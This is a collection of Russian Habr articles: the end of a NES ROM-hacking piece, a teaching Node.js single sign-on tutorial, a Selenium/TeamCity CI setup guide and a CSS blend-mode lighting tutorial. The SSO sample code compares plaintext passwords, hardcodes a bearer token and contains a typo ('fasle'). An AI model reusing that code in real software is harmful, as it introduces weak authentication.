$D0C4:20 10 D0 JSR $D010
$D0C7:4C F3 86 JMP $86F3
```
Значение в нашей ячейке сравнивается с числом #0B == 11 (напомню, что уровни нумеруются с нуля), а дальше идет чтение из ячейки $51, где у нас лежит #16 = 22. Исходя из того, что мы находимся в комнате 22 (если посмотреть карту уровня), то в $51 у нас лежит номер комнаты, который мы не искали в прошлый раз. Если эти проверки выполняются, то мы переходим по адресу $86F3 — то есть в инициирующую переход процедуру. Разработчики банально вшили в код переход на другой уровень из этой комнаты, если персонаж уходит из комнаты влево.
Аналогичную проверку мы можем найти, если будем искать переход из шестого уровня в седьмой, когда персонаж падает в пропасть. То есть нам достаточно отредактировать инструкции CMP, и этими свойствами будет обладать иная комната. Вот только должно будет соблюдаться условие: переход в следующий уровень состоится, если мы будем идти влево (для этой проверки) или падать вниз (для второй).
Поизучав код запуска нового уровня, мы также увидим, что для первого уровня координаты персонажа перезаписываются также жестко заданными в коде значениями, поэтому мы не могли его переместить, когда меняли заголовок уровня в начале наших исследований. Подобные же проверки выполняются и после поражения стражника в 13 уровне, открывая нам выход. Все они довольно просто находятся подобным способом.
##### Вынимаем скелет из шкафа и раскрашиваем стены
Редактор почти закончен. Изучая переходные моменты из уровня в уровень или из комнаты в комнату мы найдем и оставшиеся параметры, которые можно отредактировать. Поскольку подходы к поиску подобных данных уже были рассмотрены, я не буду здесь останавливаться подробно. Дам лишь общее описание, а в конце последней главы приведу список смещений в ROM на структуры игры и их описание.
`0x13BEB: 00 00 24 00 00 00 00 00 00 00 00 24 00 00` — массив, содержащий код набора тайлов, которыми у нас будет рисоваться стражник (собственно стражник или скелет). Эта структура подобна той, которая описывает вид уровня, и она же подобна той, которая определяет количество здоровья в уровне.
Палитра же строится из двух массивов указателей и собственно массива самих палитр. Сама палитра хранится ровно в том виде, в котором и отправляется в PPU в виде последовательности из 32 байт. Второй массив содержит всего 7 указателей, которые приводят нас к допустимым для уровня палитрам, причем первый указатель равен шестому. А первый массив состоит из 14 указателей (по числу уровней), каждый из которых приводит нас к тому или иному элементу второго массива.
##### Почти готов
На этом этапе я уже набросал примерную оболочку для редактора, оставалась только одна незначительная деталь. Позже я расскажу, что значат магические числа в статусной строке.
В пятой, последней главе, которая называется «Отражение» мы попытаемся научиться управлять отражением принца. Из второстепенного элемента, который практически никак не влиял на ход игры, мы сможем превратить его в один из основных, без которого пройти игру станет невозможно, и принц будет уже не так одинок в тех холодных стенах, в которые его заключили. | https://habr.com/ru/post/192546/ | null | ru | null |
# Реализация технологии SSO на базе Node.js
Веб-приложения создают с использованием клиент-серверной архитектуры, применяя в качестве коммуникационного протокола HTTP. HTTP — это протокол без сохранения состояния. Каждый раз, когда браузер отправляет серверу запрос, сервер обрабатывает этот запрос независимо от других запросов и не связывает его с предыдущими или последующими запросами того же самого браузера. Это, кроме прочего, означает, что получить доступ к серверным ресурсам, которые никак не защищены, может кто угодно. Если нужно защитить от посторонних некие серверные ресурсы, это значит, что нужно как-то ограничить то, что может запрашивать у сервера браузер. То есть — нужно аутентифицировать запросы и отвечать только на те из них, которые прошли проверку, игнорируя те, которые проверку не прошли. Для аутентификации запросов нужно владеть некими сведениями о запросах, хранящимися на стороне браузера. Так как протокол HTTP не хранит состояние запросов, нам для этого нужны некие дополнительные механизмы, которые позволяют серверу и браузеру совместно управлять состоянием соединений. Среди таких механизмов можно отметить использование куки-файлов, сессий, JWT.
[](https://habr.com/ru/company/ruvds/blog/517308/)
Если речь идёт о каком-то одном веб-проекте, то сведения о состоянии конкретного сеанса взаимодействия клиента и сервера легко поддерживать с применением аутентификации пользователя при его входе в систему. Но если такая вот самостоятельная система эволюционирует, превращаясь в несколько систем, перед разработчиком встаёт вопрос о поддержании сведений о состоянии каждой из этих отдельных систем. На практике этот вопрос выглядит так: «Придётся ли пользователю этих систем входить в каждую из них по-отдельности и так же из них выходить?».
Есть одно хорошее правило, касающееся систем, сложность которых со временем растёт, и взаимодействия этих систем с их пользователями. А именно, нагрузка по решению задач, связанных с усложнением архитектуры проекта, ложится на систему, а не на её пользователей. При этом неважно то, насколько сложны внутренние механизмы веб-проекта. Для пользователя он должен выглядеть единой системой. Иными словами, пользователь, работающий с веб-системой, состоящей из множества компонентов, должен воспринимать происходящее так, будто он работает с одной системой. В частности, речь идёт об аутентификации в таких системах с использованием SSO (Single Sign-On) — технологии единого входа.
Как создавать системы, в которых используется SSO? Тут можно вспомнить старое доброе решение, основанное на куки-файлах, но это решение подвержено ограничениям. Ограничения касаются доменов, с которых устанавливаются куки. Обойти его можно, лишь собрав все доменные имена всех подсистем веб-приложения на одном домене верхнего уровня.
В современных условиях таким решениям препятствует широкое распространение микросервисных архитектур. Управление сессиями усложнилось в тот момент, когда при разработке веб-проектов стали использовать различные технологии, и когда разные службы иногда размещались на разных доменах. Кроме того, веб-службы, которые раньше писали на Java, начали писать, пользуясь возможностями платформы Node.js. Это усложнило работу с куки-файлами. Оказалось, что сессиями теперь управлять не так уж и просто.
Эти сложности привели к разработке новых методов входа в системы, в частности, речь идёт о технологии единого входа.
Технология единого входа
------------------------
Базовый принцип, на котором основана технология единого входа, заключается в том, что пользователь может войти в одну систему проекта, состоящего из множества систем, и оказаться авторизованным и во всех остальных системах без необходимости повторного входа в них. При этом речь идёт и о централизованном выходе из всех систем.
Мы, в учебных целях, собираемся реализовать технологию SSO на платформе Node.js.
Надо отметить, что реализация этой технологии в корпоративных масштабах потребует гораздо больших усилий, чем мы собираемся приложить к разработке нашей учебной системы. Именно поэтому и существуют специализированные SSO-решения, предназначенные для крупномасштабных проектов.
Как организован вход в систему с использованием SSO?
----------------------------------------------------
В сердце реализации SSO находится единственный независимый сервер аутентификации, который способен принимать информацию, позволяющую аутентифицировать пользователей. Например — адрес электронной почты, имя пользователя, пароль. Другие системы не дают пользователю прямых механизмов входа в них. Они авторизуют пользователя непрямым способом, получая сведения о нём от сервера аутентификации. Механизмы непрямой авторизации реализуются с использованием токенов.
[Вот](https://github.com/ankur-anand/simple-sso) репозиторий с кодом проекта simple-sso, реализацию которого я здесь опишу. Я использую платформу Node.js, но вы можете реализовать то же самое и используя что-то другое. Давайте пошагово разберём действия пользователя, работающего с системой, и механизмы, из которых состоит эта система
Шаг 1
-----
Пользователь пытается получить доступ к защищённому ресурсу системы (назовём этот ресурс «потребителем SSO», «sso-consumer»). Потребитель SSO выясняет то, что пользователь не вошёл в систему, и перенаправляет пользователя на «сервер SSO» («sso-server»), используя, в качестве параметра запроса, собственный адрес. На этот адрес будет перенаправлен пользователь, успешно прошедший проверку. Этот механизм представлен ПО промежуточного слоя для Express:
```
const isAuthenticated = (req, res, next) => {
// простая проверка того, аутентифицирован ли пользователь,
// если это не так - нужно перенаправить пользователя на SSO-сервер для входа в систему и
// передать серверу текущий URL как URL, на который должен быть перенаправлен
// пользователь, успешно прошедший проверку
const redirectURL = `${req.protocol}://${req.headers.host}${req.path}`;
if (req.session.user == null) {
return res.redirect(
`http://sso.ankuranand.com:3010/simplesso/login?serviceURL=${redirectURL}`
);
}
next();
};
module.exports = isAuthenticated;
```
Шаг 2
-----
SSO-сервер выясняет то, что пользователь в систему не вошёл, и перенаправляет его на страницу входа в систему:
```
const login = (req, res, next) => {
// В req.query будет url, на который надо будет перенаправить пользователя
//после успешного входа в систему, туда же надо передать sso-токен.
// Эти данные о перенаправлении пользователя ещё можно использовать
// для проверки источника поступления запроса
const { serviceURL } = req.query;
// Попытка прямого доступа приведёт к ошибке в новом URL.
if (serviceURL != null) {
const url = new URL(serviceURL);
if (alloweOrigin[url.origin] !== true) {
return res
.status(400)
.json({ message: "Your are not allowed to access the sso-server" });
}
}
if (req.session.user != null && serviceURL == null) {
return res.redirect("/");
}
// если сведения о пользователе уже имеются в глобальной сессии - перенаправить
// пользователя с токеном
if (req.session.user != null && serviceURL != null) {
const url = new URL(serviceURL);
const intrmid = encodedId();
storeApplicationInCache(url.origin, req.session.user, intrmid);
return res.redirect(`${serviceURL}?ssoToken=${intrmid}`);
}
return res.render("login", {
title: "SSO-Server | Login"
});
};
```
Сделаю тут некоторые комментарии относительно безопасности.
Мы проверяем `serviceURL`, поступающий в виде параметра запроса к SSO-серверу. Благодаря этому мы узнаём о том, зарегистрирован ли этот URL в системе, и о том, может ли представленная им служба пользоваться услугами SSO-сервера.
Вот как может выглядеть список URL служб, которым разрешено использование SSO-сервера:
```
const alloweOrigin = {
"http://consumer.ankuranand.in:3020": true,
"http://consumertwo.ankuranand.in:3030": true,
"http://test.tangledvibes.com:3080": true,
"http://blog.tangledvibes.com:3080": fasle,
};
```
Шаг 3
-----
Пользователь вводит имя пользователя и пароль, которые отправляются SSO-серверу в запросе на вход в систему.
*Страница входа в систему*
Шаг 4
-----
SSO-сервер аутентификации проверяет информацию пользователя и создаёт сессию между собой и пользователем. Это — так называемая «глобальная сессия». Тут же создаётся и токен авторизации. Токен представляет собой строку, состоящую из случайных символов. То, как именно генерируется эта строка, значения не имеет. Главное — это чтобы подобные строки у разных пользователей не повторялись, и чтобы такую строку сложно было бы подделать.
Шаг 5
-----
SSO-сервер берёт токен авторизации и передаёт его туда, откуда к нему пришёл только что авторизовавшийся пользователь (то есть — передаёт токен потребителю SSO).
```
const doLogin = (req, res, next) => {
// Выполнить проверку с использованием адреса электронной почты и пароля.
// Тут мы не вдаёмся в подробности использования хранилищ данных, поэтому
// userDB - это обычный объект, описанный тут же, в коде сервера
const { email, password } = req.body;
if (!(userDB[email] && password === userDB[email].password)) {
return res.status(404).json({ message: "Invalid email and password" });
}
// В противном случае выполнить перенаправление
const { serviceURL } = req.query;
const id = encodedId();
req.session.user = id;
sessionUser[id] = email;
if (serviceURL == null) {
return res.redirect("/");
}
const url = new URL(serviceURL);
const intrmid = encodedId();
storeApplicationInCache(url.origin, id, intrmid);
return res.redirect(`${serviceURL}?ssoToken=${intrmid}`);
};
```
Снова сделаю некоторые замечания о безопасности:
* Этот токен нужно всегда рассматривать в роли промежуточного механизма, он используется для получения другого токена.
* Если вы используете JWT в роли промежуточного токена, постарайтесь не включать в его состав секретные данные.
Шаг 6
-----
Потребитель SSO получает токен и обращается к серверу SSO для проверки токена. Сервер проверяет токен и возвращает ещё один токен с информацией о пользователе. Этот токен используется потребителем SSO для создания сессии с пользователем. Эта сессия называется локальной.
Вот код ПО промежуточного слоя, используемого в потребителе SSO, построенном на основе Express:
```
const ssoRedirect = () => {
return async function(req, res, next) {
// проверяется, есть ли в req queryParameter, представляющий ssoToken,
// и то, что именно является реферером.
const { ssoToken } = req.query;
if (ssoToken != null) {
// для удаления ssoToken в параметре запроса, задающем перенаправление.
const redirectURL = url.parse(req.url).pathname;
try {
const response = await axios.get(
`${ssoServerJWTURL}?ssoToken=${ssoToken}`,
{
headers: {
Authorization: "Bearer l1Q7zkOL59cRqWBkQ12ZiGVW2DBL"
}
}
);
const { token } = response.data;
const decoded = await verifyJwtToken(token);
// теперь у нас есть декодированный jwt, поэтому используем
// global-session-id как id сессии, что позволит
// реализовать процедуру выхода из системы с использованием глобальной сессии.
req.session.user = decoded;
} catch (err) {
return next(err);
}
return res.redirect(`${redirectURL}`);
}
return next();
};
};
```
После получения запроса от потребителя SSO сервер проверяет токен на предмет его существования и срока его действия. Токен, прошедший проверку, считается действительным.
В нашем случае сервер SSO, после успешной проверки токена, возвращает подписанный JWT с информацией о пользователе.
```
const verifySsoToken = async (req, res, next) => {
const appToken = appTokenFromRequest(req);
const { ssoToken } = req.query;
// Если нет токена приложения или запрос на ssoToken недействителен.
// Усли ssoToken отсутствует в кеше - значит, нас пытаются обмануть.
if (
appToken == null ||
ssoToken == null ||
intrmTokenCache[ssoToken] == null
) {
return res.status(400).json({ message: "badRequest" });
}
// Если appToken присутствует - проверяем его действительность для приложения
const appName = intrmTokenCache[ssoToken][1];
const globalSessionToken = intrmTokenCache[ssoToken][0];
// Если appToken не соответствует токену, выданному выданному SSO-приложению при регистрации или на более поздней стадии работы
if (
appToken !== appTokenDB[appName] ||
sessionApp[globalSessionToken][appName] !== true
) {
return res.status(403).json({ message: "Unauthorized" });
}
// проверяем, был ли сгенерирован переданный токен
const payload = generatePayload(ssoToken);
const token = await genJwtToken(payload);
// удаляем из кеша ключ, который больше использоваться не будет
delete intrmTokenCache[ssoToken];
return res.status(200).json({ token });
};
```
Вот некоторые замечания о безопасности.
* На SSO-сервере нужно зарегистрировать все приложения, которые будут использовать этот сервер для аутентификации. Им нужно назначить коды, которые будут использовать для их верификации при выполнении ими запросов к серверу. Это позволяет добиться более высокого уровня безопасности при организации взаимодействия сервера SSO и потребителей SSO.
* Можно сгенерировать различные «приватные» и «публичные» rsa-файлы для каждого приложения и позволить каждому из них верифицировать своими силами их JWT с помощью соответствующих публичных ключей.
Кроме того, можно определить политику безопасности уровня приложения и организовать её централизованное хранение:
```
const userDB = {
"info@ankuranand.com": {
password: "test",
userId: encodedId(), // в том случае, если вы не хотите передавать адрес электронной почты пользователя.
appPolicy: {
sso_consumer: { role: "admin", shareEmail: true },
simple_sso_consumer: { role: "user", shareEmail: false }
}
}
};
```
После того, как пользователь успешно войдёт в систему, создаются сессии между ним и SSO-сервером, а так же между ним и каждой подсистемой. Сессия, установленная между пользователем и SSO-сервером, называется глобальной сессией. Сессия, установленная между пользователем и подсистемой, предоставляющей пользователю какие-то услуги, называется локальной сессией. После того, как будет установлена локальная сессия, пользователь сможет работать с закрытыми для посторонних ресурсами подсистемы.
*Установка локальной и глобальной сессий*
Краткий обзор потребителя SSO и сервера SSO
-------------------------------------------
Давайте сделаем краткий обзор функционала потребителя SSO и сервера SSO.
### ▍Потребитель SSO
1. Подсистема-потребитель SSO не выполняет аутентификацию пользователя, перенаправляя пользователя на сервер SSO.
2. Эта подсистема получает токен, передаваемый ей сервером SSO.
3. Она взаимодействует с сервером, проверяя действительность токена.
4. Она получает JWT и проверяет этот токен с использованием публичного ключа.
5. Эта подсистема устанавливает локальную сессию.
### ▍Сервер SSO
1. Сервер SSO проверяет данные, вводимые пользователем для входа в систему.
2. Сервер создаёт глобальную сессию.
3. Он создаёт токен авторизации.
4. Токен авторизации отправляется потребителю SSO.
5. Сервер проверяет действительность токенов, передаваемых ему потребителями SSO.
6. Сервер отправляет потребителю SSO JWT с информацией о пользователе.
Организация централизованного выхода из системы
-----------------------------------------------
Аналогично тому, как была реализована технология единого входа, можно реализовать и «технологию единого выхода». Здесь нужно лишь учитывать следующие соображения:
1. Если существует локальная сессия — обязательно существует и глобальная сессия.
2. Если существует глобальная сессия, это необязательно означает существование локальной сессии.
3. Если локальная сессия уничтожается — должна быть уничтожена и глобальная сессия.
Итоги
-----
В итоге можно отметить, что существует множество готовых реализаций технологии единого входа, которые можно интегрировать в свою систему. У всех них есть собственные преимущества и недостатки. Разработка подобной системы самостоятельно, с нуля, это — итеративный процесс, в ходе которого нужно анализировать характеристики каждой из систем. Сюда входят способы входа в систему, хранилища пользовательской информации, синхронизация данных и многое другое.
**Используются ли в ваших проектах механизмы SSO?**
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=perevod&utm_campaign=a-step-by-step-guide-to-building-a-trading-bot) | https://habr.com/ru/post/517308/ | null | ru | null |
# Путь к непрерывной интеграции. Selenium + TeamCity
#### Вступ
Рассмотрим интегрирование тестов Selenium IDE в процесс непрерывной интеграции с помощью TeamCity. В многих местах встречал когда QA создает тесты ( в лучшем случае, зачастую бывает когда кликери просто по документу «прокликивают» проект и делает отчеты ) и регулярно запускают их, и как правило все это происходит локально на его же компьютере. Как на меня абсолютно не системный подход, который (сейчас то, в 2014 году ) решается миллионом решений для полной автоматизации процесса.
Ну раз Continuous Integration такая популярная практика, почему же не внедрить функциональное тестирование в процесс непрерывной интеграции, облегчить жизнь тестировщикам и поднять уровень качества продукта в целом.
#### Что надо и чего хотим
Что есть?
* CI сервер (TeamCity) для сборки и деплоймента проектов
* QA с пачкой тестов созданных в Selenium IDE
* Энтузиазм
Что надо?
* Добавить в процесс непрерывной интеграции исполнение Selenium IDE тестов
Как установить, настроить и сделать первые билд конфигурации на просторах больше чем надо, потому описывать не буду, да и речь не об этом.
Прошу под кат.
#### Подготовка и конфигурация билд агента
В качестве билд агента била установлена Windows машина, на которой установлен TeamCity Agent и подцеплен в TeamCity серверу.
Делаем следующие шаги, для настройки среди для исполнения:
Все манипуляции будут происходить в «C:\Selenium» потому создаем там одноименный каталог.
На данной машине должен бить поднят selenium server standalone, который для удобства хорошо б установить в винде как службу, так как ручной вызов не совсем комильфо. Сделать можно з помощью утилиты [nssm](http://nssm.cc/download) (“Non-Sucking Service Manager”).
Качаем, распаковываем и кладем в «C:\Selenium».
Качаем selenium-server-standalone и ложем туда же (последнюю на момент написания можно скачать [отсюда](http://selenium-release.storage.googleapis.com/2.42/selenium-server-standalone-2.42.2.jar)).
Устанавливаем Selenium Server как службу
```
C:\Selenium\nssm-2.16\win64\nssm.exe install Selenium-Server "C:\Program Files (x86)\Java\jre7\bin\java.exe" "-jar C:\Selenium\selenium-server-standalone-2.42.2.jar"
```
В качестве «исполнителя» build step используем NUnit ( тесты из Selenium IDE будем экспортировать в .cs с последующей компиляцией в dll библиотеки), потому так же на машине устанавливаем .NET Framework 4 (если нет, взять можно [отсюда](http://www.microsoft.com/ru-ru/download/details.aspx?id=17851)).
После установки ищем путь к csc.exe, который лежит в
```
"C:\Windows\Microsoft.NET\Framework\v4.0.<еще пара циферок с версией>"
```
и прописываем его в переменные среди для возможности глобального вызова.
Устанавливаем Mozilla Firefox так как будет использоваться настройках конекшна.
Для того чтоб csc смог скомпилировать экспортирование тесты, нужно скачать и положить некое количество дополнительных библиотек и положить в «C:\Selenium» (процесс компиляции будет происходить автоматически с этого каталога). Вот [тут](https://www.dropbox.com/s/p9yey5m7eaue37o/libs.zip) можно их взять.
Качаем и распаковываем в «C:\Selenium».
На этом подготовка билд агента закончена, можно приступать к конфигурации билда для запуска тестов.
#### Конфигурирование TeamCity
Идем в админку ТимСити, и жмакаэм создать проект, вводим имя, id, дескрипшн и «Create»
Попадаем на страницу настройки нового проекта, и жмем «Create Build Configuration», заполняем знакомые уже три поля и опять же синяя кнопка
После создания билд конфигурации попадаем на экран выбора существующего репозитория, или как в нашем случае, так как нету подключенных репозиториев, создания нового. Хорошей практикой будет «подцепить» репозиторий с живим проектом (с него же забирать написание тесты и в последствии компилировать и запускать), дабы следить за изменениями в репозитории и триггерить на изменения кода (непрерывная интеграция же), но так как тут показываю «демо», то мы подключим «левый» репозиторий, и не будем его чекаутить. Наша цель — запустить тесты и получить репорт.
Подцепляем любой репозиторий (как вариант открытий репозиторий з github/bitbucket), тестируем подключение, и опять же «Create»:
Попадаем в окно с конфигурированием репозиториев билда (я установил VCS checkout mode: как Do not checkout files automatically, чтоб не следить за ненужным репозиторием):
Приступаем к самому интересному. Тут я сделаю два шага, первый запустит компилирование тестов из исходников (.cs) в библиотеки для NUnit, и второй уже запуск тестов NUnit'ом.
Переходим на следующую табу настроек билда «Build Steps», и додаем первый шаг кнопкой «Add build step», в списке «Runner type » ищем «Command Line» и выбираем его. Вводим название шага, в вставляем в поле скрипта следующее:
```
csc /t:library /r:WebDriver.Support.dll /r:WebDriver.dll /r:ThoughtWorks.Selenium.Core.dll /r:Selenium.WebDriverBackedSelenium.dll /r:nunit.framework.dll /r:System.Data.dll /r:System.Data.Services.Client.dll /out:"C:\Selenium\compiled_test.dll" "C:\Selenium\reg.cs"
```
И жмем «Save»
Скрипт запустит компилятор, запустит компиляцию экспортированного теста с Selenium IDE, который лежит по пути «C:\Selenium\reg.cs» и положит скомпилированную библиотеку в файл «C:\Selenium\compiled\_test.dll», который мы в следующем шаге передадим NUnit'у.
Добавляем еще один build step, только как runner выбираем уже NUnit.
Заполняем как на скриншоте и в **Run tests from:** прописываем путь, по которому первый шаг положит скомпилированный тест, в нашем случае «C:\Selenium\compiled\_test.dll» — и сохраняемся.
В итоге получим следующее:
Поздравляю, минимальная конфигурация завершена, остается только написать первый тест и запускать его исполнение.
#### Создание первого теста
Просим QA накликать простенький тест в Selenium IDE и экспортируем его в «С# / NUnit / Remote Control».
Единственное, что надо было поправить — это настройки подключения к веб браузеру.
Привожу пример теста.
```
using System;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using NUnit.Framework;
using OpenQA.Selenium;
using OpenQA.Selenium.Firefox;
using Selenium;
namespace SeleniumTests
{
[TestFixture]
public class open_page
{
private IWebDriver driver;
private ISelenium selenium;
private StringBuilder verificationErrors;
[SetUp]
public void SetupTest()
{
verificationErrors = new StringBuilder();
//driver = new FirefoxDriver(); - что подсунул сгенерированный тест
driver = new FirefoxDriver(new FirefoxBinary(@"C:\Program Files (x86)\Mozilla Firefox\firefox.exe"), new FirefoxProfile(), TimeSpan.FromMinutes(10)); // прохардкожений путь к существующему firefox
selenium = new WebDriverBackedSelenium(driver, "http://habrahabr.ru/");
selenium.Start();
}
[TearDown]
public void TeardownTest()
{
try
{
driver.Close();
}
catch (Exception)
{
// Ignore errors if unable to close the browser
}
Assert.AreEqual(string.Empty, verificationErrors.ToString());
}
[Test]
public void TheOpen_pageTest()
{
selenium.Open("/");
selenium.Click("link=О сайте");
selenium.WaitForPageToLoad("30000");
}
}
}
```
#### Смотрим результат
Заходим в ТимСити в жмем Run напротив нашего билда, ждем выполнение теста и радуемся результату. Билд зеленый, 1 тест пройден.
P.S. Как выше упоминал, пишем тесты, кладем в репозиторий проекта, триггерим сборку проекта по каждому комиту, после сборки забираем тесты, компилим и запускаем и в случае успеха делаем post comit хук на push в репозиторий и возможно даже деплоймент на staging окружение. И все это полностью автоматически. | https://habr.com/ru/post/230519/ | null | ru | null |
# Шейдеры, голограммы и утечка света на чистом CSS
К старту курса по [Fullstack-разработке на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_120722&utm_term=lead) рассказываем, как на чистом современном CSS имитировать шейдеры аккуратным наложением слоёв и эффектов. За подробностями и демонстрациями приглашаем под кат.
---
Может, я немного преуменьшаю, но WebGL — классная штука. Пять минут на одном из множества сайтов о наградах за дизайн — и вы увидите, как сайты один за другим опираются на canvas. Инструменты типа threejs привносят в браузер шейдеры GLSL и 3D, которые выводят визуальные эффекты на новый уровень.
Это заставляет задуматься о том, зачем позволять JS получать всё удовольствие. Широкую поддержку получило свойство CSS mix-blend-mode — и теперь у нас есть многие распространённые методы шейдинга. Подобранные изображения и тщательное наложение слоёв помогут создать удивительные эффекты без необходимости в JS.
Прокрутите изображение ниже — и солнечный свет успеет расцвести тёплым оранжевым, прежде чем исчезнуть в прохладной синеве. Ненадолго вы увидите и эффект боке.
О, этот блеск. Давайте разбираться### Что такое "шейдер" CSS?
Шейдеры WebGL — это сложные сценарии, которые определяют отрисовку каждого пикселя. Уровня управления WebGL в CSS нет, поэтому на простейшем уровне "шейдер" — это изображение со слоями фона поверх него. При тщательном обращении с градиентами, масками, вложенностью и свойством mix-blend-mode можно управлять взаимодействием слоёв и изображения в самом низу. Хотя я немного вольно обошёлся с названием.
В примере выше применяется несколько вложенных div:
```
```
Чтобы выровнять слои относительно изображения в основании, определим положение вложенного содержимого:
```
.shader {
position: relative;
overflow: hidden;
backface-visibility: hidden; /* to force GPU performance. More on that later */
}
.shader__layer {
background: black;
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-size: 100%;
}
```
С основой мы разобрались, теперь посмотрим на первый слой эффекта — освещение.
### Симуляция зеркальности
Вначале нужно подумать, как перемещать свет от светлого к тёмному по поверхности изображения. Тут понадобится область яркости с наибольшей интенсивностью света, который по мере рассеивания угасает до полной темноты. Эту область мы опишем с помощью градиента:
```
.specular {
background-image: linear-gradient(180deg, black 20%, #3c5e6d 35%, #f4310e, #f58308 80%, black);
}
```
Представьте, что смотрите на блестящую поверхность. Свет, который отражается назад — зеркальное отражение. Место и время появления этого отражения зависит от источника света и угла обзора — блик движется вместе с вами. Градиент прекрасно выглядит, но немного статичен, а эффекту нужно движение.
К счастью, винтажное [свойство](https://developer.mozilla.org/en-US/docs/Web/CSS/background-attachment) CSS уровня 1 может помочь: background-attachment: fixed означает, что при прокрутке страницы градиент останется привязанным к области просмотра браузера. Это не только привносит в шейдер столь необходимое движение, но и означает, что мы сможем очень грубо имитировать изменение угла обзора без всякого JavaScript.
```
.specular {
background-attachment: fixed;
background-image: linear-gradient(180deg, black 20%, #3c5e6d 35%, #f4310e, #f58308 80%, black);
}
```
Прекрасно! А теперь применим освещение к основному изображению.
### Знай режимы смешивания
Название mix-blend-mode подразумевает смешивание цветов каждого пикселя в одном слое с пикселем под ним. Как и в GLSL, в CSS есть [длинный](https://developer.mozilla.org/en-US/docs/Web/CSS/blend-mode) список вариантов. Создать подходящий эффект — значит знать сочетание цветов, которое даст именно его. Но что на самом деле делают режимы смешивания? До кропотливой работы над шейдером кратко рассмотрим режимы, которые будем применять.
Ниже вы видите изображения для примеров. Слева — верхний слой, который будет накладываться на основное изображение справа.
Посмотрим на смешивание с умножением — multiply. режим берёт цвет каждого пикселя текущего слоя и умножает на цвет пикселя прямо под ним. Это означает, что тёмные цвета текущего слоя затеняют цвета нижнего слоя.
Значение screen берёт инверсии двух пикселей и перед инвертированием результата умножает их. Это может показаться сложным, но представить операцию можно как противоположность умножения: цвета темнее становятся прозрачными, а на нижнем слое видны только цвета светлее.
Режимы color-dodge и color-burn — как multiply и screen в овердрайве. Оба режима в математическом смысле делят цвет пикселя на основном слое на цвет в текущем слое.
Значение color-dodge это означает, что средние тона и блики размываются, а тёмные тона не затрагиваются вообще; color-burn усиливает тени и средние тона ближе к тёмным, а тона светлее не затрагиваются.
Ниже левый пример — со свойством color-dodge, а правый — с color-burn.
### Композиция слоёв
Может показаться, что следующий шаг — добавить режим смешивания к нашему градиенту, поместить его поверх основного изображения — и дело сделано. Это определённо сработает, но эффект не достигнет нужного качества.
Смешивание градиента с базовым слоем означает неравномерность освещения. В реальном мире — если не считать хромированных поверхностей — такое случается нечасто. Чтобы эффект стал по-настоящему впечатляющим, нужно управлять областями, где свет падает, а где нет. Чтобы замаскировать градиент для такой имитации, можно использовать преимущественно тёмное изображение — карта отражений.
Вам может быть интересно, как это возможно на CSS, если режим смешивания влияет только на пиксели слоя прямо под ним, а установить можно лишь один режим. Здесь наступает звёздный час структуры HTML:
```
```
Можно вкладывать слои один в другой и работать извне, применяя дополнительные режимы mix-blend-mode к каждому слою-обёртке, что позволит добавить ещё один режим смешивания к результату предыдущего. Этот подход известен как композиция.
Пробуем. С подходящим тёмным background-image установим mix-blend-mode: multiply слою .mask и отбросим части градиента, где просветов быть не должно.
```
.mask {
mix-blend-mode: multiply;
background-image: url(/tower_spec.jpg);
}
.specular {
background-attachment: fixed;
background-image: linear-gradient(180deg, black 20%, #3c5e6d 35%, #f4310e, #f58308 80%, black);
}
```
У нас есть карта бликов и можно применить последний эффект освещения к базовому изображению. Использовать нужно режим наложения, игнорирующий чёрные и тёмные тона. Это означает, что для слоя .specular мы должны установить blend-mode: screen или mix-blend-mode: color-dodge. Работать будет любой, но хочется, чтобы блики превратились в приятный солнечный свет, поэтому воспользуемся color-dodge.
И посмотрим:
```
.specular {
mix-blend-mode: color-dodge;
background-attachment: fixed;
background-image: linear-gradient(180deg, black 20%, #3c5e6d 35%, #f4310e, #f58308 80%, black);
}
```
### Финальный шейдер
Эффект закончен! Вот код:
```
.shader {
position: relative;
overflow: hidden;
backface-visibility: hidden; /\* to force GPU performance \*/
}
.shader\_\_layer {
background: black;
position: absolute;
left: 0;
top: 0;
width: 100%;
height: 100%;
background-size: 100%;
background-position: center;
}
.specular {
mix-blend-mode: color-dodge;
background-attachment: fixed;
background-image: linear-gradient(180deg, black 20%, #3c5e6d 35%, #f4310e, #f58308 80%, black);
}
.mask {
mix-blend-mode: multiply;
background-image: url(/tower\_spec.jpg);
}
```
Посмотрим на законченный эффект ещё раз, но на этот раз с возможностью изолировать каждый слой шейдера. Измените режим просмотра через выпадающий список [в оригинальной статье], чтобы увидеть эффект шаг за шагом и лучше представлять, как слои создают конечное изображение.
### Идём дальше
В примере выше основное изображение выполнено в оттенках серого с царапинами и эффектом бокев качестве маски. Это прекрасный способ добавить изображению нечто интересное, но слои шейдера могут быть такими, какими вы только захотите. Посмотрим другие примеры:
#### Северное сияние
Здесь повторение градиента фона и уменьшение background-size-y приводит к ускоренному перемещению светового эффекта по экрану. При маскировке с помощью карты бликов это создаёт иллюзию ряби северного сияния по основному изображению. Размытые блики color-dodge создают не тот эффект, поэтому поменяем слой .specular на mix-blend-mode: screen, чтобы сохранить чёткость сияния.
#### Утечка света
До сих пор во всех примерах использовалось изображение в оттенках серого, но полноцветная карта отражений может привнести новые эффекты. Ниже маски создаются из перевёрнутой и размытой версии основного изображения с наложением сине-красного тона. Когда всё это складывается с горячим красно-оранжевым градиентом, получается смесь, немного похожая на утечку света из-за старинных плёночных камер.
#### Голограмма
Расслоение внутри маски открывает ещё больше перспектив. Что будет, если добавить ещё слой с background-attachment: fixed?
В последнем примере слой .mask имеет фоновое изображение SVG и ещё один чёрно-белый градиент под углом, противоположным зеркальному градиенту слоя .specular. Установка значения color-burn для вложенного слоя маски приводит к искажению определения SVG — получается приятная двухсторонняя голограмма. CSS — это потрясающе.
### Итоги
На момент написания статьи браузеры по-прежнему требуют значительных ресурсов для эффектов смешивания. В эффектах сложнее с несколькими слоями в композиции вы увидите настоящий удар по производительности. Добавьте анимации и любые переходы в наложение — и браузеры потерпят крах**,** особенно в Safari.
Небольшая настройка — и мне удалось немного повысить производительность через backface-visibility: hidden, но первым импульсом стал хак — принудительный рендеринг на GPU с надёжной трансформацией transform: translateZ(0);. К сожалению, эта трансформация выявила особенность, о которой тоже нужно знать.
